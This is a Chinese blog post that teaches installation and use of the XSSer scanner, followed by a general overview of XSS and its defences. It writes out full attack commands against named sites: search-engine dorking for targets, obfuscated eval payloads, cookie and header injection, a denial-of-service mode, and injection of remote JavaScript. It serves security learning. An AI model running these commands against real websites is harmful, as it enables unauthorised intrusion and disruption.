我在江北学安全(五) 渗透测试资源总览 和 XSS扫描系统原理 (续)

VMware安装虚拟机Ubuntu的时候,安装完毕后是命令行模式,得重启后才能进入图形界面。

=======================================================================

XSSer 安装与测试

1. Installation 安装python相关组件

XSSer runs on many platforms. It requires Python and the following libraries:

- python-pycurl - Python bindings to libcurl
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-libxml2 - Python bindings for the GNOME XML library
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library


在Ubuntu下用这个指令就能够安装后所有的要用到python模块:
sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip 

2.下载XSSer相应的包并且安装

下载地址:http://sourceforge.net/projects/xsser/files/xsser_1.6-1.tar.gz/download

下载后用以下指令:

安装:

tar xzvf xsser-1.6_all.deb.tar.gz
sudo dpkg -i xsser-1.6_all.deb

以GTK模式(也就是图形化模式运行)(GTK mode):
xsser --gtk --silent 


Ps:当然你也可以SVN check out 源代码:
$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser 

3.XSSer语法的掌握 (官网写的是 python xsser.py -u "http://www.baidu.com",我用的xsser -u "http://www.baidu.com",都行)

(1)最简单的注入

xsser -u "http://www.baidu.com"

(2)从文件中读取URL,带有代理和HTTP REFERER的注入

xsser -i url.txt  --proxy "http://127.0.0.1:8118" --referer 666.666.666.666
Ps:HTTP Referer是HTTP header的一部分,浏览器向web服务器发送请求的时候,一般会用到referer,以便告诉web服务器我是从哪个页面过来的,方便web服务器统计。而我们加个--referer 666.666.666.666,实际上是不想被web服务器发现我们从哪里来。其实它应该被写成HTTP Refferer,但是写错的人多了,写标准的货也就将就用HTTP Referer啦。。

(3)使用Cem(Character Encoding Mutations 字符编码基因突变),使用user-agent,设置超时时间,设置线程数

xsser -u "http://www.baidu.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"

Ps1:Cem就是先用Hex编码,再转为Str编码,然后再转为Hex编码!

(first, change payload to hexadecimal; second, change to StringFromCharCode the first encoding; third, reencode to Hexadecimal the second encoding)

Ps2:user-agent 也就是用户代理,这个域放置了一些信息如OS版本,CPU类型,浏览器版本,浏览器渲染引擎,浏览器语言,浏览器语言等,可以被web服务器获取,这里我们不想被web服务器获取,所以就设置了下“XSSer!!!”就好啦~~


(4)从文件读取(-i "urls.txt"),装载自己的代码(--payload ' ' ),并且用JS中的Unescape()函数解码(--Une)

xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
Ps:a+b+c+d得到字符串"getURL("javascript:alert('XSS')")" ,这个函数式Flash的常用函数,用来打开一个链接,无论是远程还是本地,只有满足一下两个条件,才能用这种形式的代码:
getURL("javascript:someFunction()")
1)页面有Flash player 8 以及更高版本中
2)SWF文件或者包含该文件的web页面被包含在本地受信任的沙箱中
满足上述条件就能够用:

--payload 'eval(getURL("javascript:alert('XSS!!!')"))'
思考1:为什么要分成abcd四个部分呢!?然后再合起来?

思考2:--Une为什么要用到这里?Unescape()函数对escape()函数编码过后的字符串进行解码,如果字符串不是编码后的字符串,则会把字符串原封不动的返回。也就是说,字符串被浏览器编码后送到web服务器吗?escape()一般用于脚本向某个页面如a.php这个URL传递参数时编码,可是我用的是XSSer,它在传递参数的时候会编码吗?

这两个问题等我以后深入了解再回来回答。


(5)指定引擎并且从引擎的返回结果作为target URL--XSSer Storm

xsser --De "duck" -d "search.php?"

Ps1: duckduckgo是一个网站,搞搜索引擎的 "duck"。

Ps2:  -d DORK       把搜索结果作为攻击的目标URL ( Process search engine dork results as target urls)
Ps3:  --De=DORK_ENGINE  指定用到的引擎 for dorking 有这么多:(bing, altavista, yahoo, baidu, yandex, youdao, webcrawler, google, etc.)
                    

(6)指定抓取URL的深度和数量

    --Cw=CRAWLER_WIDTH  Deeping level of crawler: 1-5
    --Cl                Crawl only local target(s) urls (default TRUE)

xsser -c 3 --Cw=4 -u "http://www.baidu.com"

(7)Post数据(Simple injection from URL, using POST, with statistics results)

xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
Ps :-s, --statistics      show advanced statistics output results
思考:这个-s到底有什么用呢?统计数据?Post数据一般就是把数据封装到表单中然后发到web服务器请求。

回答:这个-s其实和post没关系,就是把数据给统计了:

===========================================================================
[*] Statistic:
===========================================================================
--------------------------------------------------
Test Time Duration:  0:00:05.929196
--------------------------------------------------
Total Connections: 2
-------------------------
200-OK: 1 | 404: 0 | 503: 0 | Others: 1
Connec: 50 %
--------------------------------------------------
Total Payloads: 1
-------------------------
Checker: 0 | Manual: 0 | Auto: 1 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
--------------------------------------------------
Total Injections: 1
-------------------------
Failed: 1 | Sucessfull: 0
Accur : 0 %
-------------------------
Total Discovered: 0
-------------------------
Checker: 0 | Manual: 0 | Auto: 0 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
--------------------------------------------------
False positives: 0 | Vulnerables: 0
-------------------------
Mana: 0
--------------------------------------------------
[I] Could not find any vulnerability!. Try another combination or hack it -manually- :)


===========================================================================

(8)Get请求 八进制编码(--Doo) 结果以简短URL形式(--short tinyurl)

xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl 
思考:至今还是不知道Get请求和Post请求这些参数如 "bs/?q="要怎么设定的吗?我个人认为如果不知道网站的源代码,根本不知道参数怎么填?那么这个XSSer的参数是猜测的吗?


(9)Shadow DOM XSS攻击,跨站Cookie注入,最终代码FinalRemote(--Fr)

xsser -u "http://host.com" -g "bs/?q=" --Coo --Dom --Fr="!enter your final injection code here!"
Ps1:    --Coo       跨站Cookie注入        COO - Cross Site Scripting Cookie injection 

Ps2:DOM XSS 攻击原理

Ps3:DOM shadow space (no server logging!) 这个DOM阴影空间貌似在哪里听过?可是就是找不到相关资料。。。终于google到了这篇文章,它讲的是Shadow DOM

什么是Shadow Dom?可能会给你带来点帮助。。。


(10) Dos(拒绝服务攻击)   网址压缩is.gd

xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"

Ps:根据官方介绍,Is.gd 至今已处理了近 900 万个网址。首页非常简洁,输入需要压缩的网址提交即可。生成缩略网址后系统会计算压缩前后的字符串长度,并给出压缩率。
如果想要让用户预览网页,而不是直接发送缩略网址(有助于用户了解所链接到的网址,防止被钓鱼),只需在缩略网址后添加连接字符 “-” 来开启网页预览功能。
例如,芒果的网址 http://www.mangguo.org 经过压缩后为 http://is.gd/Aqdn,网页预览地址为 http://is.gd/Aqdn-
注意:缩略网址 URL 中字母区分大小写。

XSSer结果会多了这么一行:

[/] Shortered URL (Injection): http://is.gd/eAxg3x

(11) 在这些地方注入参数变量: HTTP USer-Agent,HTTP Referer ,  Cookie parameters

xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"

Ps1:   --Xsa               XSA - Cross Site Agent Scripting

Ps2:   --Xsr               XSR - Cross Site Referer Scripting


(12)  创建一个假的XSS代码嵌入图像(create a false image with XSS code embedded)

xsser --imx "test.png" --payload "!enter your malicious injection code here!" 
思考:至今还是不会在这个恶意代码里面写点东西,到底要写什么好呢?
回答:这个 <script>alert('XSS');</script>可以吗?结果成功~
xsser --imx "test.jpg" --payload "<script>alert('XSS')</script>"

(13)把积极的结果输出到指定的XML文件中(Report output 'positives' injections of a dorking search (using "ask" dorker) directly to a XML file).

xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml" 
Ps: --xml 指定一个XML文件,用来存放输出的”积极“结果,我猜测这个”积极“就是可能能够注入的结果URL
结果一打开xml文件,发现还真的是和我的猜想一致!我真的是神意识啊!~~


(14)把我们的扫描结果上传到某些网站上(twitter)这个功能真的是有爱啊~,不吐槽了。。

 xsser -d "login.php" --De "duck" --tweet
示例网站:

(15)创建一个swf电影注入XSS代码(Create a .swf movie with XSS code injected)

这个和那个图片的嵌入恶意代码差不多
xsser --fla "name_of_file.swf" --payload "<script>alert('XSS!!!');</script>"

(16) 发送一个hash值,预先看看目标URL是否重复全部内容(send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved)

xsser -u "http://www.baidu.com" --hash
结果是:
Checker: looks like your target(s) does not repeat all received code.
Ps:这句话很好懂哦: send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved
思考:这个hash它是怎么去pre-check呢?如果要确认是否重复,首先我的有这个网页的URL的hash,然后我发给它,那么这个hash哪里来呢?难道是有文件存储着?第一次的话没有hash怎么办?
回答:不懂~真心不懂~等以后的我深入了解了再研究吧~

(17) Data Control Protocal(DCP) 数据控制协议 注入,这个好偏门的感觉

xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"



(18)META标签中的Base64编码(RFC2397),也是很偏门的感觉

xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
这个Base64编码:
--B64               B64    - Base64 code encoding in META tag (rfc2397)

(19)启动浏览器,结束时发现的每个XSS(launch a browser at the end with each XSS discovered)

xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
思考:都越来越不知道什么意思了。。。
直接贴英文吧:
Exploiting our "own" -remote code- in a payload discovered using fuzzing and launch it in a browser directly







  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(Cross-Site Scripting)是一种常见的网站安全漏洞,攻击者通过在网页中注入恶意脚本来攻击用户。以下是关于 XSS 的基础知识: 1. XSS原理XSS 攻击利用了网站对用户输入的信任,攻击者将恶意脚本注入到网页中,当用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而达到攻击的目的。 2. XSS 的分类:XSS 可以分为三种主要类型:存储型(Stored XSS)、反射型(Reflected XSS)和 DOM 型(DOM-based XSS)。存储型 XSS 注入的恶意脚本被存储在目标网站的数据库中,当其他用户访问该页面时,恶意脚本会被执行。反射型 XSS 注入的恶意脚本通过 URL 参数传递给目标网站,目标网站在返回的页面中直接输出了这些恶意脚本,用户点击链接时脚本被执行。DOM 型 XSS 则是利用了网页的 DOM 结构,通过修改 DOM 中的内容来触发漏洞。 3. XSS 的危害:XSS 攻击可以导致许多危害,包括盗取用户的敏感信息(如用户名、密码、cookie)、篡改网页内容、进行钓鱼攻击、传播恶意软件等。 4. 防御 XSS 的措施:为了防止 XSS 攻击,可以采取以下措施: - 输入验证和过滤:对用户输入的数据进行验证和过滤,过滤掉不可信的字符和脚本。 - 输出转义:将用户输入的数据进行转义,确保输出到网页时不会被浏览器解析为可执行的脚本。 - 使用 HTTP 头部中的 Content Security Policy(CSP)来限制网页的资源加载和执行。 - 设置 HttpOnly 属性来限制 JavaScript 对 cookie 的访问。 - 定期更新和修复网站的漏洞,以防止攻击者利用已知的 XSS 漏洞。 以上是关于 XSS 的基础知识,深入了解 XSS 攻击的原理和防御措施对于网站安全至关重要。在进行渗透测试时,理解 XSS 的工作原理和常见漏洞场景可以帮助你更好地发现和利用 XSS 漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值